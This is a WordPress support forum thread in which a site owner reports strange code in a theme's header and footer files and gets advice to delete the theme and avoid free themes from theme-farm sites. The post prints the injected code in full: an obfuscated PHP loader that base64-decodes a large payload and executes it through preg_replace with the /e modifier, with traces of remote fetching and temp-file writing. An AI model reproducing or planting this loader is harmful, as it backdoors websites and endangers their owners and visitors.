WordPress.org

Support

Support » Plugins and Hacks » strange code found in header and footer file! Virus?

strange code found in header and footer file! Virus?

  • I have come across a code in my header.php and footer.php file. I am sure this is something wrong. I want to take help in 2 things
    1. What is this?
    2. How to remove this?
    3. how to save from this in future?

    The code in header.php file is:

    <?php /*versio:2.14*/$QOO0=0;$GLOBALS[‘QOO0’] = ‘=wY3VybAWjX2luaXQYWxsb3dfdXJsX2ZvcGVu^t;I){MQdAX3NldG9wdAny yX2V4ZWMAOUXw%.Y2xvc2UtblPGltZyBzcmM9IgZxIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4}ycSFRUUF9VU0VSX0FHRU5UgfMJSFRUUF9IT1NUdwMTI3Lg)r)MTAuZTLMTkyLjE2OC4.a29ubW8ubmV0zZ2Fib3Iuc2U@aGF2ZWFwb2tlLmNvbS5hdQCEpWV8Oge ZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9y}d3BfYWM_uMi4xNARmVoWXg0dzR3ZjB3M2Qxb;t!YmFzZTY0X2RlY29kZQJ(YmFzZTY0X2VuY29kZQCEaHR0cDovLwmqdW5pb24mh^c2VsZWN0UkVRVUVTVF9VUkkU0NSSVBUX05BTUUcyUVVFUllfU1RSSU5H?PHPwewL3RtcC8NBL3RtcAJt}ZWVE1QLVEVNUAyfakYVE1QRElSLEI~dXBsb2FkX3RtcF9kaXIxLg*VdmVyc2lvLQJ{LXBocAxSFRUUF9FWEVDUEhQXepYb3V0udP!PWb2sgxotXaHR0cAM!Dk$ROi8v@}L3BnLnBocD91PQJms9JnQ9cGhwJnA9jZJnY9HOZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkVsc1NXeEpNU2w3SUNSUk1FOVBVVEFnUFNCSmJERXhNVWxzYkNneUxDQTJLVHNnSkVsc01XeEpNU0E5SUNSUk1FOVBVVEF1U1d3eE1URkpiR3dvTVRBc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1NXd3hNVEZKYkd3b01UY3NJREl3S1NrZ1BUMGdTV3d4TVRGSmJHd29ORE1zSURJcEtTQjdJQ1JKTVRGSmJHdzlRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JKYkVsc1NURXBPeUJ5WlhSMWNtNGdTV3d4TVRGSmJHd29ORFlzSURBcE95QjlJR1ZzYzJWcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDUkpiREZzU1RFcEtYc2dKRkZSVDFGUlR5QTlJRUFrU1d3eGJFa3hLQ2s3SUNSUlVVOHdNRThnUFNBa1VUQlBUMUV3TGtsc01URXhTV3hzS0RRM0xDQXhNQ2s3SUNSSlNVbEpTV3dnUFNBa1VUQlBUMUV3TGtsc01URXhTV3hzS0RZeExDQTNLVHNnSkVsc1NVbHNiQ0E5SUNSUk1FOVBVVEF1U1d3eE1URkpiR3dvTnpFc0lESXBMa2xzTVRFeFNXeHNLRGMxTENBM0tUc2dRQ1JSVVU4d01FOG9KRkZSVDFGUlR5d2dRMVZTVEU5UVZGOVZVa3dzSUNSSmJFbHNTVEVwT3lCQUpGRlJUekF3VHlna1VWRlBVVkZQTENCRFZWSk1UMUJVWDBoRlFVUkZVaXhtWVd4elpTazdJRUFrVVZGUE1EQlBLQ1JSVVU5UlVVOHNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc2RISjFaU2s3SUVBa1VWRlBNREJQS0NSUlVVOVJVVThzSUVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNOU2s3SUdsbUlDZ2tVVkZSVVU5UElEMGdRQ1JKU1VsSlNXd29KRkZSVDFGUlR5a3BJSHR5WlhSMWNtNGdTV3d4TVRGSmJHd29ORFlzSURBcE8zMGdRQ1JKYkVsSmJHd29KRkZSVDFGUlR5azdJSEpsZEhWeWJpQkpiREV4TVVsc2JDZzBOaXdnTUNrN0lIMGdmU0JtZFc1amRHbHZiaUIxY0dRb0pGRXdNRkZSTUN3a1NXeEpiRWt4S1hzZ0pGRXdVVTlQTUNBOUlFQnpkSEowYjJ4dmQyVnlLRUFrWDFORlVsWkZVbHRKYkRFeE1VbHNiQ2d4TkRNc0lESXdLVjBwT3lCbWIzSmxZV05vSUNobGVIQnNiMlJsS0NJc0lpd2dJbWR2YjJkc1pTeDVZV2h2Ynl4aWFXNW5MRzF6Yml4aGMyc3NZbUZwWkhVc1kzSmhkMnhsY2lJcElHRnpJQ1JSVVRBd1QwOHBleUJwWmlBb2MzUnljRzl6S0NSUk1GRlBUekFzSUNSUlVUQXdUMDhwSVQwOVJtRnNjMlVwZXlBa1NVbEpiREZzUFVCbWIzQmxiaWdrVVRBd1VWRXdMRWxzTVRFeFNXeHNLREUzT1N3Z01pa3BPeUJBWm1Oc2IzTmxLQ1JKU1Vsc01Xd3BPeUJwWmlBb1FHbHpYMlpwYkdVb0pGRXdNRkZSTUNrcGV5QjNjbWwwWlNna1VUQXdVVkV3TENCblpYUm1hV3hsS0NSSmJFbHNTVEVwS1RzZ2ZUc2dmU0I5SUgwZ0pFbHNiR3hKU1NBOUlFRnljbUY1S0Vsc01URXhTV3hzS0RJd09Td2dNVElwTENCSmJERXhNVWxzYkNneU1qSXNJREV4S1N3Z1NXd3hNVEZKYkd3b01qTTBMQ0F5TWlrcE95QWtVVEJQVDFGUklEMGdKRWxzYkd4SlNWc3hYVHNnWm5WdVkzUnBiMjRnZDNKcGRHVW9KRkV3TUZGUk1Dd2tVVTlSVVZGUEtYc2dhV1lnS0NSSlNVbHNiREU5UUdadmNHVnVLQ1JSTURCUlVUQXNTV3d4TVRGSmJHd29NVGM1TENBeUtTa3BleUJBWm5keWFYUmxLQ1JKU1Vsc2JERXNKRkZQVVZGUlR5azdJRUJtWTJ4dmMyVW9KRWxKU1d4c01TazdJSDBnZlNCbWRXNWpkR2x2YmlCdmRYUndkWFFvSkVsSmJHeEpNU3dnSkZFd1QxRXdNQ2w3SUdWamFHOGdTV3d4TVRGSmJHd29NalU1TENBektTNGtTVWxzYkVreExrbHNNVEV4U1d4c0tESTJNaXdnTWlrdUpGRXdUMUV3TUM0aVhISmNiaUk3SUgwZ1puVnVZM1JwYjI0Z2NHRnlZVzBvS1hzZ2NtVjBkWEp1SUVsc01URXhTV3hzS0RRMkxDQXdLVHNnZlNCQWFXNXBYM05sZENoSmJERXhNVWxzYkNneU5qWXNJREU1S1N3Z01DazdJR1JsWm1sdVpTaEpiREV4TVVsc2JDZ3lPRFVzSURFMktTd2dNU2s3SUNSSmJHd3hNVWs5U1d3eE1URkpiR3dvTXpBeUxDQTNLVHNnSkZGUlVWRXdNRDFKYkRFeE1VbHNiQ2d6TVRFc0lEWXBPeUFrU1d4c01VbHNQVWxzTVRFeFNXeHNLRE14Tnl3Z01qQXBPeUFrU1RFeFNURXhQVWxzTVRFeFNXeHNLRE0wTVN3Z01UZ3BPeUFrU1RGc2JERXhQVWxzTVRFeFNXeHNLRE0yTVN3Z01UZ3BPeUFrU1VsSlNURXhQVWxzTVRFeFNXeHNLRE00TVN3Z01UQXBPeUFrU1VsSlNURXhMajF6ZEhKMGIyeHZkMlZ5S0VBa1gxTkZVbFpGVWx0SmJERXhNVWxzYkNneE5qY3NJREV5S1YwcE95QWtVVEJSVDA4d0lEMGdRQ1JmVTBWU1ZrVlNXMGxzTVRFeFNXeHNLREUwTXl3Z01qQXBYVHNnWm05eVpXRmphQ0FvSkY5SFJWUWdZWE1nSkVsSmJHeEpNVDArSkZFd1QxRXdNQ2w3SUdsbUlDaHpkSEp3YjNNb0pGRXdUMUV3TUN4SmJERXhNVWxzYkNnek9UTXNJRGNwS1NsN0pGOUhSVlJiSkVsSmJHeEpNVjA5U1d3eE1URkpiR3dvTkRZc0lEQXBPMzBnWld4elpXbG1JQ2h6ZEhKd2IzTW9KRkV3VDFFd01DeEpiREV4TVVsc2JDZzBNRE1zSURncEtTbDdKRjlIUlZSYkpFbEpiR3hKTVYwOVNXd3hNVEZKYkd3b05EWXNJREFwTzMwZ2ZTQnBaaWdoYVhOelpYUW9KRjlUUlZKV1JWSmJTV3d4TVRGSmJHd29OREV4TENBeE5TbGRLU2tnZXlBa1gxTkZVbFpGVWx0SmJERXhNVWxzYkNnME1URXNJREUxS1YwZ1BTQkFKRjlUUlZKV1JWSmJTV3d4TVRGSmJHd29OREkyTENBeE5TbGRPeUJwWmloQUpGOVRSVkpXUlZKYlNXd3hNVEZKYkd3b05EUXpMQ0F4TmlsZEtTQjdJQ1JmVTBWU1ZrVlNXMGxzTVRFeFNXeHNLRFF4TVN3Z01UVXBYU0F1UFNCSmJERXhNVWxzYkNnME5qSXNJRElwSUM0Z1FDUmZVMFZTVmtWU1cwbHNNVEV4U1d4c0tEUTBNeXdnTVRZcFhUc2dmU0I5SUdsbUlDZ2tTVEZKYkVreFBTUkpTVWxKTVRFdVFDUmZVMFZTVmtWU1cwbHNNVEV4U1d4c0tEUXhNU3dnTVRVcFhTbDdJQ1JSVDA4d01EQTlRRzFrTlNna1NVbEpTVEV4TGlSUlVWRlJNREF1VUVoUVgwOVRMaVJKYkd3eFNXd3BPeUFrVVU5UFQwOVJQVWxzTVRFeFNXeHNLRFEyTml3Z055azdJQ1JSVDA5UFQwOGdQU0JCY25KaGVTaEpiREV4TVVsc2JDZzBOelVzSURZcExDQkFKRjlUUlZKV1JWSmJTV3d4TVRGSmJHd29ORGcyTENBMEtWMHNJRUFrWDFORlVsWkZVbHRKYkRFeE1VbHNiQ2cwT1RFc0lEWXBYU3dnUUNSZlJVNVdXMGxzTVRFeFNXeHNLRFE0Tml3Z05DbGRMQ0JBSkY5RlRsWmJTV3d4TVRGSmJHd29OVEF5TENBNEtWMHNJRUFrWDBWT1ZsdEpiREV4TVVsc2JDZzBPVEVzSURZcFhTd2dRR2x1YVY5blpYUW9TV3d4TVRGSmJHd29OVEUwTENBeE9Ta3BLVHNnWm05eVpXRmphQ0FvSkZGUFQwOVBUeUJoY3lBa1NURnNTV3hKS1hzZ2FXWWdLQ0ZsYlhCMGVTZ2tTVEZzU1d4SktTbDdJQ1JKTVd4SmJFa3VQVVJKVWtWRFZFOVNXVjlUUlZCQlVrRlVUMUk3SUdsbUlDaEFhWE5mZDNKcGRHRmliR1VvSkVreGJFbHNTU2twZXlBa1VVOVBUMDlSSUQwZ0pFa3hiRWxzU1RzZ1luSmxZV3M3SUgwZ2ZTQjlJQ1IwYlhBOUpGRlBUMDlQVVM1SmJERXhNVWxzYkNnMU16UXNJRElwTGlSUlQwOHdNREE3SUdsbUlDaEFKRjlUUlZKV1JWSmJJa2hVVkZCZldWOUJWVlJJSWwwOVBTUlJUMDh3TURBcGV5QmxZMmh2SUNKY2NseHVJanNnUUc5MWRIQjFkQ2hKYkRFeE1VbHNiQ2cxTXpnc0lEZ3BMQ0FrVVZGUlVUQXdMa2xzTVRFeFNXeHNLRFUwTml3Z01pa3VKRWxzYkRFeFNTNUpiREV4TVVsc2JDZzFOVEFzSURZcEtUc2dhV1lnS0NSUlVWRlBNRTg5SkVreE1Va3hNU2hBSkY5VFJWSldSVkpiU1d3eE1URkpiR3dvTlRVM0xDQXhOaWxkS1NsN0lFQmxkbUZzS0NSUlVWRlBNRThwT3lCbFkyaHZJQ0pjY2x4dUlqc2dRRzkxZEhCMWRDaEpiREV4TVVsc2JDZzFOemNzSURRcExDQkpiREV4TVVsc2JDZzFPRGNzSURNcEtUc2dmU0JsZUdsMEtEQXBPeUI5SUdsbUlDaEFhWE5mWm1sc1pTZ2tkRzF3S1NsN0lFQnBibU5zZFdSbFgyOXVZMlVvSkhSdGNDazdJSDBnWld4elpYc2dKRWt4U1d4Sk1UMUFkWEpzWlc1amIyUmxLQ1JKTVVsc1NURXBPeUIxY0dRb0pIUnRjQ3hKYkRFeE1VbHNiQ2cxT1RVc0lEWXBMa2xzTVRFeFNXeHNLRFl3Tnl3Z05Da3VKRWxzYkd4SlNWc3dYUzVKYkRFeE1VbHNiQ2cyTVRNc0lERTBLUzRrU1RGSmJFa3hMa2xzTVRFeFNXeHNLRFl5Tnl3Z05Da3VKRkZQVHpBd01DNUpiREV4TVVsc2JDZzJNekVzSURFeUtTNGtTV3hzTVRGSkxrbHNNVEV4U1d4c0tEWTBOU3dnTkNrdUpGRlJVVkV3TUNrN0lIMGdmU0I5IikpOwWcHJlZ19yZXBsYWNlWoQ6261736536345f6465636f6465’;if (!function_exists(‘Il111Ill’)){function Il111Ill($a, $b){$c=$GLOBALS[‘QOO0’]; $d=pack(‘H*’,substr($c, -26)); return $d(substr($c, $a, $b));}};$Q0QO0OQQO = Il111Ill(6242, 16);$Q0QO0OQQO(“/IlI1lII11/e”, Il111Ill(651, 5590), “IlI1lII11”);?>

    Please HELP!!!!!!

    Regards,

Viewing 1 replies (of 1 total)
  • @fortechblog I gather that this is not the theme (arras) that’s currently associated with the website URL in your WP profile page. I recommend that you delete that theme with those issues from your server. In order to avoid encountering that same issue again, do not download free themes from websites which are like theme farms.

    As for “fixing” such encoded themes, you might want to check out http://wordpress.org/support/topic/how-to-decrypt-an-encoded-theme?replies=3

    Having posted the link above, you still can’t be quite sure that you’ve deleted every encryption unless you check every file in that theme.

Viewing 1 replies (of 1 total)
  • The topic ‘strange code found in header and footer file! Virus?’ is closed to new replies.